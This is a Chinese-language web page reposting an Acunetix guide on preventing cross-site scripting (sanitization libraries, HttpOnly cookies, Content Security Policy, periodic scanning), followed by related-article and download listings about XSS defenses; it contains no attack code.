    ,但转义后结果为 <div>)。在这种情况下,使用信任的并且验证过的库对 HTML 进行分析和清理。选择哪个库需根据你的开发语言而定,例如:在 .NET 上使用 HtmlSanitizer,在 Ruby on Rails 上使用 SanitizeHelper。

    第五步:设置 HttpOnly 标志

    为了减轻可能存在的 XSS 漏洞造成的后果,可开启 cookie 的 HttpOnly 标志。这样客户端 JavaScript 将不能访问这些 cookie。

    第六步:使用内容安全协议

    为了减轻可能存在的 XSS 漏洞造成的后果,也可以使用内容安全协议(CSP)。CSP 是一个 HTTP 响应头,它可以根据当前请求的资源声明哪些动态资源是允许被加载的。

    第七步:周期性扫描

    XSS 漏洞可能被开发者引入,也可能被外部库、模块或软件引入。你应该使用网站漏洞扫描器(比如 Acunetix)周期性扫描你的网站。如果你使用 Jenkins,你可以安装 Acunetix 插件,实现每次构建时进行自动扫描。

    FAQ

    跨站脚本攻击是如何工作的?

    在跨站脚本攻击(XSS)中,攻击者通过有漏洞的网页将恶意 JavaScript 代码发送给用户。用户的浏览器在用户的电脑上执行恶意 JavaScript 代码。值得注意的是,大约三分之一的网站都存在跨站脚本攻击漏洞。

    为什么跨站脚本攻击是危险的?

    尽管跨站脚本攻击发生在用户的浏览器,它仍然有可能对你的网站造成影响。例如,攻击者可以使用 XSS 窃取用户凭证并伪装成该用户登录你的网站。如果被窃取的用户是网站管理员,则攻击者将对你的网站有更多控制权。

    查看过去发生的一例高风险的 XSS 攻击例子。

    如何发现跨站脚本攻击漏洞

    为了发现跨站脚本漏洞,你可以进行人工渗透测试或者先使用漏洞扫描器。如果你使用了漏洞扫描器,那么你将节约许多时间和钱,因为你的渗透测试人员可以聚焦到更有挑战的漏洞中。

    查看为什么在雇佣测试人员之前,使用漏洞扫描器是个不错的选择。

    如何防御跨站脚本攻击

    为了防御跨站脚本攻击,你必须周期性扫描你的网站,或者至少在每次修改了代码后都扫描一次。之后,开发者必须进行正确的编码才能消除漏洞。与流行的观点相悖,网站防火墙不能防御跨站脚本攻击,他们仅仅使攻击变得更困难 —— 但漏洞仍然存在。

    转自:https://www.acunetix.com/websitesecurity/cross-site-scripting/

    举报/反馈

    展开全文
  • Cross-Site Scripting(脚本攻击)简称 XSS,是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,...
  • XSS脚本攻击漏洞修复方法.zip,XSS脚本攻击漏洞修复方法,filter,XssHttpServletRequestWrapper.java,XssFilter.java,web.xml
  • XSS脚本攻击在Java开发中防范的方法
  • XSS(脚本攻击)漏洞解决方案

    千次阅读 2021-03-06 07:03:01
    首先,简单介绍一下XSS定义:一 、 XSS介绍XSS是脚本攻击(Cross Site Scripting)的缩写。为了和层叠样式表CSS(Cascading Style Sheets)加以区分,因此将脚本攻击缩写为XSS。XSS是因为有些恶意攻击者往Web...
  • 一招学会:XSS(脚本攻击

    千次阅读 2021-06-09 19:58:45
    XSS 是脚本攻击(Cross Site Scripting)的简写,但是从首写字母命名的方式来看,应该取名 CSS,但这样就和层叠样式表(Cascading Style Sheets,CSS)重名了,所以取名为 XSS。 XSS 攻击,一般是指攻击者通过在...
  • xss--脚本攻击

    2022-05-11 20:19:31
    攻击者在网页中嵌入恶意脚本代码(javascript),当用户使用浏览器浏览网页时,脚本就会在用户的浏览器上执行,从而达到攻击者目的。 二、原理 本质:可控变量,显示输出变量。代码在对数据进行显示出现的安全问题。...
  • XSS指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的...这篇文章主要给大家介绍了关于脚本攻击XSS(Cross Site Script)的原理与常见场景的相关资料,需要的朋友可以参考下。
  • 本文主要介绍脚本执行漏洞的成因,形式,危害,利用方式,隐藏技巧,解决方法和常见问题 (FAQ),由于目前介绍脚本执行漏洞的资料还不是很多,而且一般也不是很详细,所以希望本文能够 比较详细的介绍该...
  • 文章目录一.思路二.实现2.1 定义XssHttpServletRequestWrapper2.2 定义XssFilter类实现Filter接口2.3 Filter配置2.4 yaml配置 一.思路 1.定义XssHttpServletRequestWrapper类继承HttpServletRequestWrapper覆写...
  • 脚本攻击漏洞修补文件aspx版,使用方法:1.将App_Code目录拷贝到web根目录  假如已经存在App_Code目录,那直接把App_Code目录里的360safe.cs文件拷贝到当前的App_Code目录即可。  2.将Global.asax文件拷贝到web...
  • 个问题我的理解是只要让其他网站能执行我的脚本我就有可能危害到,这个网站的用户安全
  • XSS脚本攻击剖析与防御是一本专门剖析XSS安全的专业书,总共8章,主要包括的内容如下。第1章 XSS初探,主要阐述了XSS的基础知识,包括XSS的攻击原理和危害。第2章 XSS利用方式,就当前比较流行的XSS利用方式做了...
  • asp防范站点脚本攻击的的方法
  • XSS(Cross Site Script)脚本攻击。它指的是恶意攻击者往Web 页面里插入恶 意html 代码,当用户浏览该页之时,嵌入其中Web 里面的html 代码会被执行,从而 达到恶意用户的特殊目的。本文介绍了该攻击方式,并给出...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 53,742
精华内容 21,496
关键字:

跨脚本攻击